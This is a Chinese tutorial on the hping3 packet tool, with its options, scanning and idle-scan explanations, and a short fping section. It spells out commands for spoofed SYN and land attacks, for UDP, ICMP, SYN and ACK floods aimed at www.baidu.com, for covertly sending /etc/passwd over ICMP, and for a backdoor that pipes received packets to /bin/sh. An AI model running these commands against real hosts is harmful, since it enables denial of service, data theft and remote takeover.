hping3 使用詳解


hping3命令:http://man.linuxde.net/hping3
Testing firewall rules with Hping3 - examples:http://0daysecurity.com/articles/hping3_examples.html

攻防寶典:利用hping3和偽造IP地址執行DOS攻擊:http://netsecurity.51cto.com/art/201508/489303.htm
DoS***方法(hping3):http://19920624.blog.51cto.com/9632075/1584465
Nmap、Netcat、Hping3工具對比:http://www.2cto.com/article/201210/158961.html

 

hping

hping 是 面向命令行的用於生成和解析TCP/IP協議數據包匯編/分析的開源工具。作者是Salvatore Sanfilippo,界面靈感來自ping(8)unix命令,目前最新版是 hping3,它支持TCP,UDP,ICMP和RAW-IP協議,具有跟蹤路由模式,能夠在覆蓋的信道之間發送文件以及許多其他功能,支持使用tcl腳本自動化地調用其API。hping是安全審計、防火牆測試等工作的標配工具hping 優勢在於能夠定制數據包的各個部分,因此用戶可以靈活對目標機進行細致地探測。

雖然 hping 以前主要用作安全工具,但它可以在許多方面被不太關心安全性的人員用於測試網絡和主機,您可以使用hping的一小部分內容:

- 防火牆測試
- 高級端口掃描
- 網絡測試,使用不同的協議,TOS,分片
- 手動路徑MTU發現
- 在所有支持的協議下,高級traceroute
- 遠程操作系統指紋
- 遠程正常運行時間猜測
- TCP/IP協議棧審計
- hping也可以用於學習TCP/IP的學生

工具來源:http://www.hping.org/

用法: hping3 host [options]
  -h  --help      顯示幫助
  -v  --version   顯示版本
  -c  --count     發送數據包的數目
  -i  --interval  發送數據包間隔的時間 (uX即X微秒, 例如: -i u1000)
      --fast      等同 -i u10000 (每秒10個包)
      --faster    等同 -i u1000 (每秒100個包)
      --flood	  盡最快發送數據包,不顯示回復。
  -n  --numeric   數字化輸出,象征性輸出主機地址。
  -q  --quiet     安靜模式
  -I  --interface 網卡接口 (默認路由接口)
  -V  --verbose   詳細模式
  -D  --debug     調試信息
  -z  --bind      綁定ctrl+z到ttl(默認為目的端口)
  -Z  --unbind    取消綁定ctrl+z鍵
      --beep      對於接收到的每個匹配數據包蜂鳴聲提示

模式選擇
  default mode     TCP   // 默認模式是 TCP
  -0  --rawip      RAWIP模式,原始IP模式。在此模式下HPING會發送帶數據的IP頭。即裸IP方式。使用RAWSOCKET方式。
  -1  --icmp       ICMP模式,此模式下HPING會發送IGMP應答報,你可以用--ICMPTYPE --ICMPCODE選項發送其他類型/模式的ICMP報文。
  -2  --udp        UDP 模式,缺省下,HPING會發送UDP報文到主機的0端口,你可以用--baseport --destport --keep選項指定其模式。
  -8  --scan       SCAN mode. //掃描模式 指定掃描對應的端口。
                   Example: hping --scan 1-30,70-90 -S www.target.host    // 掃描
  -9  --listen     listen mode  // 監聽模式
  
IP 模式
  -a  --spoof      spoof source address  //源地址欺騙。偽造IP攻擊,防火牆就不會記錄你的真實IP了,當然回應的包你也接收不到了。
  --rand-dest      random destionation address mode. see the man. // 隨機目的地址模式。詳細使用 man 命令
  --rand-source    random source address mode. see the man.       // 隨機源地址模式。詳細使用 man 命令
  -t  --ttl        ttl (默認 64)  //修改 ttl 值
  -N  --id         id (默認 隨機)  // hping 中的 ID 值,缺省為隨機值
  -W  --winid      使用win* id字節順序  //使用winid模式,針對不同的操作系統。UNIX ,WINDIWS的id回應不同的,這選項可以讓你的ID回應和WINDOWS一樣。
  -r  --rel        相對id字段(估計主機流量)  //更改ID的,可以讓ID曾遞減輸出,詳見HPING-HOWTO。
  -f  --frag       拆分數據包更多的frag.  (may pass weak acl)   //分段,可以測試對方或者交換機碎片處理能力,缺省16字節。
  -x  --morefrag   設置更多的分段標志    // 大量碎片,淚滴攻擊。
  -y  --dontfrag   設置不分段標志    // 發送不可恢復的IP碎片,這可以讓你了解更多的MTU PATH DISCOVERY。
  -g  --fragoff    set the fragment offset    // 設置斷偏移。
  -m  --mtu        設置虛擬最大傳輸單元, implies --frag if packet size > mtu    // 設置虛擬MTU值,當大於mtu的時候分段。
  -o  --tos        type of service (default 0x00), try --tos help          // tos字段,缺省0x00,盡力而為?
  -G  --rroute     includes RECORD_ROUTE option and display the route buffer    // 記錄IP路由,並顯示路由緩沖。
  --lsrr           松散源路由並記錄路由        // 松散源路由
  --ssrr           嚴格源路由並記錄路由      // 嚴格源路由
  -H  --ipproto    設置IP協議字段,僅在RAW IP模式下使用   //在RAW IP模式里選擇IP協議。設置ip協議域,僅在RAW ip模式使用。

ICMP 模式
  -C  --icmptype   icmp類型(默認echo請求)    // ICMP類型,缺省回顯請求。
  -K  --icmpcode   icmp代號(默認0)     // ICMP代碼。
      --force-icmp 發送所有icmp類型(默認僅發送支持的類型)    // 強制ICMP類型。
      --icmp-gw    設置ICMP重定向網關地址(默認0.0.0.0)    // ICMP重定向
      --icmp-ts    等同 --icmp --icmptype 13 (ICMP 時間戳)            // icmp時間戳
      --icmp-addr  等同 --icmp --icmptype 17 (ICMP 地址子網掩碼)  // icmp子網地址
      --icmp-help  顯示其他icmp選項幫助      // ICMP幫助

UDP/TCP 模式
  -s  --baseport   base source port             (default random)              // 缺省隨機源端口
  -p  --destport   [+][+]<port> destination port(default 0) ctrl+z inc/dec    // 缺省隨機源端口
  -k  --keep       keep still source port      // 保持源端口
  -w  --win        winsize (default 64)        // win的滑動窗口。windows發送字節(默認64)
  -O  --tcpoff     set fake tcp data offset     (instead of tcphdrlen / 4)    // 設置偽造tcp數據偏移量(取代tcp地址長度除4)
  -Q  --seqnum     shows only tcp sequence number        // 僅顯示tcp序列號
  -b  --badcksum   (嘗試)發送具有錯誤IP校驗和數據包。許多系統將修復發送數據包的IP校驗和。所以你會得到錯誤UDP/TCP校驗和。
  -M  --setseq     設置TCP序列號 
  -L  --setack     設置TCP的ack   ------------------------------------- (不是 TCP 的 ACK 標志位)
  -F  --fin        set FIN flag
  -S  --syn        set SYN flag
  -R  --rst        set RST flag
  -P  --push       set PUSH flag
  -A  --ack        set ACK flag   ------------------------------------- (設置 TCP 的 ACK 標志 位)
  -U  --urg        set URG flag      // 一大堆IP抱頭的設置。
  -X  --xmas       set X unused flag (0x40)
  -Y  --ymas       set Y unused flag (0x80)
  --tcpexitcode    使用last tcp-> th_flags作為退出碼
  --tcp-mss        啟用具有給定值的TCP MSS選項
  --tcp-timestamp  啟用TCP時間戳選項來猜測HZ/uptime

Common //通用設置
  -d  --data       data size    (default is 0)    // 發送數據包大小,缺省是0。
  -E  --file       文件數據
  -e  --sign       添加“簽名”
  -j  --dump       轉儲為十六進制數據包
  -J  --print      轉儲為可打印字符
  -B  --safe       啟用“安全”協議
  -u  --end        告訴你什么時候--file達到EOF並防止倒回
  -T  --traceroute traceroute模式(等同使用 --bind 且--ttl 1)
  --tr-stop        在traceroute模式下收到第一個不是ICMP時退出
  --tr-keep-ttl    保持源TTL固定,僅用於監視一跳
  --tr-no-rtt	   不要在跟蹤路由模式下計算/顯示RTT信息 ARS包描述(新增功能,不穩定)
ARS packet description (new, unstable)
  --apd-send       發送APD描述數據包(參見docs / APD.txt)

Hping3 功能

Hping3 主要有以下典型功能應用:

防火牆測試

使用Hping3指定各種數據包字段,依次對防火牆進行詳細測試。請參考:http://0daysecurity.com/articles/hping3_examples.html 

測試防火牆對ICMP包的反應、是否支持traceroute、是否開放某個端口、對防火牆進行拒絕服務攻擊(DoS attack)。例如,以LandAttack方式測試目標防火牆(Land Attack是將發送源地址設置為與目標地址相同,誘使目標機與自己不停地建立連接)。

hping3 -S -c 1000000 -a 10.10.10.10 -p 21 10.10.10.10

 

端口掃描

Hping3也可以對目標端口進行掃描。Hping3支持指定TCP各個標志位、長度等信息。以下示例可用於探測目標機的80端口是否開放:

hping3 -I eth0 -S 192.168.10.1 -p 80

其中-I eth0指定使用eth0端口,-S指定TCP包的標志位SYN,-p 80指定探測的目的端口。 

hping3支持非常豐富的端口探測方式,nmap擁有的掃描方式hping3幾乎都支持(除開connect方式,因為Hping3僅發送與接收包,不會維護連接,所以不支持connect方式探測)。而且Hping3能夠對發送的探測進行更加精細的控制,方便用戶微調探測結果。當然,Hping3的端口掃描性能及綜合處理能力,無法與Nmap相比。一般使用它僅對少量主機的少量端口進行掃描。

 

Idle掃描

Idle掃描(Idle Scanning)是一種匿名掃描遠程主機的方式,該方式也是有Hping3的作者Salvatore Sanfilippo發明的,目前Idle掃描在Nmap中也有實現。 

該掃描原理是:尋找一台idle主機(該主機沒有任何的網絡流量,並且IPID是逐個增長的),攻擊端主機先向idle主機發送探測包,從回復包中獲取其IPID。冒充idle主機的IP地址向遠程主機的端口發送SYN包(此處假設為SYN包),此時如果遠程主機的目的端口開放,那么會回復SYN/ACK,此時idle主機收到SYN/ACK后回復RST包。然后攻擊端主機再向idle主機發送探測包,獲取其IPID。那么對比兩次的IPID值,我們就可以判斷遠程主機是否回復了數據包,從而間接地推測其端口狀態。

 

拒絕服務攻擊

使用Hping3可以很方便構建拒絕服務攻擊。比如對目標機發起大量SYN連接,偽造源地址為192.168.10.99,並使用1000微秒的間隔發送各個SYN包。

hping3 -I eth0 -a 192.168.10.99 -S 192.168.10.33 -p 80 -i u1000

其他攻擊如smurf、teardrop、land attack等也很容易構建出來。

 

文件傳輸

Hping3支持通過TCP/UDP/ICMP等包來進行文件傳輸。相當於借助TCP/UDP/ICMP包建立隱秘隧道通訊。實現方式是開啟監聽端口,對檢測到的簽名(簽名為用戶指定的字符串)的內容進行相應的解析。在接收端開啟服務:

hping3 192.168.1.159 --listen signature --safe --icmp

監聽ICMP包中的簽名,根據簽名解析出文件內容。 

在發送端使用簽名打包的ICMP包發送文件:

hping3 192.168.1.108--icmp -d 100 --sign signature --file /etc/passwd

將/etc/passwd密碼文件通過ICMP包傳給192.168.10.44主機。發送包大小為100字節(-d 100),發送簽名為signature(-sign signature)。

 

木馬功能

如果Hping3能夠在遠程主機上啟動,那么可以作為木馬程序啟動監聽端口,並在建立連接后打開shell通信。與netcat的后門功能類似。

示例:本地打開53號UDP端口(DNS解析服務)監聽來自192.168.10.66主機的包含簽名為signature的數據包,並將收到的數據調用/bin/sh執行。 

在木馬啟動端:

hping3 192.168.10.66 --listen signature --safe --udp -p 53 | /bin/sh

在遠程控制端:

echo ls >test.cmd 
hping3 192.168.10.44 -p53 -d 100 --udp --sign siganature --file ./test.cmd

將包含ls命令的文件加上簽名signature發送到192.168.10.44主機的53號UDP端口,包數據長度為100字節。 

當然這里只是簡單的演示程序,真實的場景,控制端可以利益shell執行很多的高級復雜的操作。

 

hping主要是進行DDOS攻擊的

1、UDP ddos攻擊:

hping3 -c 10000 -d 120 --udp -w 64 -p 80 --flood --rand-source www.baidu.com

2、ICMP  ddos攻擊:

hping3 -c 10000 -d 120 --icmp -w 64 -p 80 --flood --rand-source www.baidu.com

3、SYN ddos攻擊:

hping3 -c 10000 -d 120 -S -w 64 -p 80 --flood --rand-source www.baidu.com

4、ACK ddos攻擊:

hping3 -c 10000 -d 120 -A -w 64 -p 80 --flood --rand-source www.baidu.com

 

fping 用法

fping 官網

        fping 是一個將  ICMP echo 探測器發送到網絡主機的程序,類似於 ping,可以看作是 ping 的增強版。但是 fping 在 ping多個主機時性能更好。

Usage: fping [options] [targets...]
   -a         顯示存活目標,即可ping通的目標
   -A         將目標以ip地址的形式顯示
   -b n       ping 數據包的大小。(默認為56)
   -B f       set exponential backoff factor to f
   -c n       ping每個目標的次數 (默認為1)
   -C n       同-c, 返回的結果為冗長格式
   -D         每個輸出行打印時間戳
   -e         顯示返回數據包所費時間
   -f file    從文件獲取目標列表( - 表示從標准輸入)(不能與 -g 同時使用)
   -g         生成目標列表(不能與 -f 同時使用)
				(可指定目標的開始和結束IP, 或者提供ip的子網掩碼)
                (例:fping -g 192.168.1.0 192.168.1.255 或 fping -g 192.168.1.0/24)                
   -H n       設置ip的TTL值 (生存時間)
   -i n       ping包之間的間隔(單位:毫秒)(默認25)
   -I if      綁定到特定的接口
   -l         循環發送ping
   -m         ping目標主機的多個網口
   -M         設置不分段標記
   -n         將目標以主機名或域名顯示(等價於 -d )
   -N         輸出兼容netdata (-l -Q are required)
   -o         顯示累計中斷時間 (lost packets * packet interval)
   -O n       在ICMP包中設置服務的類型(tos)標志
   -p n       對同一個目標的ping包間隔(毫秒)
                 (在循環和統計模式中,默認為1000)
   -q         安靜模式(不顯示每個目標或每個ping的結果)
   -Q n       同-q, 但是每n秒顯示信息概要
   -r n       當ping失敗時,最大重試次數(默認為3次)
   -R         random packet data (to foil link data compression)
   -s         打印最后的統計數據
   -S addr    設置源ip地址
   -t n       單個目標的超時時間(毫秒)(默認500)
   -T n       請忽略(為兼容fping 2.4)
   -u         顯示不可到達的目標
   -v         顯示版本號
   targets    需要ping的目標列表(不能和 -f 同時使用)

示例

fping -A -u -c 4 192.168.1.1 192.168.1.74 192.168.1.20

 

ping 用法

 

ping 命令  http://man.linuxde.net/ping


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM